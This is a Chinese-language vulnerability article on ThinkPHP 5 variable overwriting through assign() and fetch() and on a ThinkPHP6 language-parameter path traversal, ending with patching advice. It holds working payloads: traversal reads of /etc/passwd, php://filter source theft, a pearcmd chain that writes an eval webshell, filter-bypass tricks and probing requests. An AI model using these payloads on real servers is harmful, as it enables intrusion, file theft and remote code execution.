thinkphp5 assign()+fetch()组合危险因assign(request()->get())合并get参数,fetch()中extract($vars, extr_overwrite)导致变量覆盖(如$cachefile),可读取任意文件或执行代码;影响5.0.0–5.0.18、5.1.0–5.1.10。

thinkphp5 的 assign() + fetch() 组合为什么危险
因为 assign(request()->get()) 会把全部 GET 参数直接合并进模板变量,而后续 fetch() 调用的 read() 方法里用了 extract($vars, EXTR_OVERWRITE) —— 这意味着攻击者能通过 URL 传参覆盖任意变量名,包括 $cachefile。
常见错误现象:访问 /index.php?cacheFile=../../etc/passwd 直接读取系统文件;或传入 cacheFile=php://filter/read=convert.base64-encode/resource=index 窃取源码。
- 影响版本明确:5.0.0 ≤ ThinkPHP ≤ 5.0.18、5.1.0 ≤ ThinkPHP ≤ 5.1.10
- 漏洞触发前提是控制器中显式调用了
$this->assign(request()->get()),不是所有项目都这么写 -
EXTR_OVERWRITE是关键:它允许用户输入直接覆写已有变量,$cachefile正是被这个机制劫持的
ThinkPHP6 多语言场景下的 lang 参数绕过路径限制
开启多语言功能后,框架默认从 lang/ 目录加载语言包,但 lang 参数未校验,导致目录穿越 + 伪协议利用成为可能。
典型利用链:?lang=../../../../usr/local/lib/php/pearcmd&+config-create+/&/=@eval($_POST[1])?>+/var/www/html/shell.php —— 先用 pearcmd 写 shell,再包含执行。
- 必须满足条件:
register_argc_argv=On(Docker 默认开)、pear扩展存在、lang参数可控 - 常见绕过方式:用
%00截断、双写../、URL 编码混淆(如..%2f..%2fetc%2fpasswd) - 注意
open_basedir和disable_functions会影响伪协议和写入能力,但不影响基础文件读取
如何快速确认是否存在可利用的变量覆盖点
不依赖完整代码审计,用最小验证请求试探是否已受控 $cachefile 或 $template 变量。
实操建议:构造两个请求对比响应差异:
-
/index.php?cachefile=1—— 看是否报错 “failed to open stream” 或返回空内容 -
/index.php?cachefile=php://filter/resource=index—— 若返回 base64 编码内容,说明cachefile已被直接用于include或file_get_contents - 若两者都无响应或 404,大概率该入口未启用危险组合,需换 controller 或参数名继续试
修复时最容易被忽略的配置细节
升级到 5.0.24 / 5.1.32+ 能解决核心问题,但旧项目打补丁时,光改 assign() 行为不够。
真正容易漏掉的是:模板缓存路径仍可能被用户控制。例如 fetch('index', [], ['cache' => true, 'cache_name' => $user_input]) 中的 cache_name 若未过滤,照样能覆盖 $cachefile。
还有两点常被跳过:
- 关闭多语言功能后,要检查是否残留了
Lang中间件或think_langheader 解析逻辑 - 自定义视图驱动(比如继承
Think并重写read())时,extract()调用若还在,补丁就白打了
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











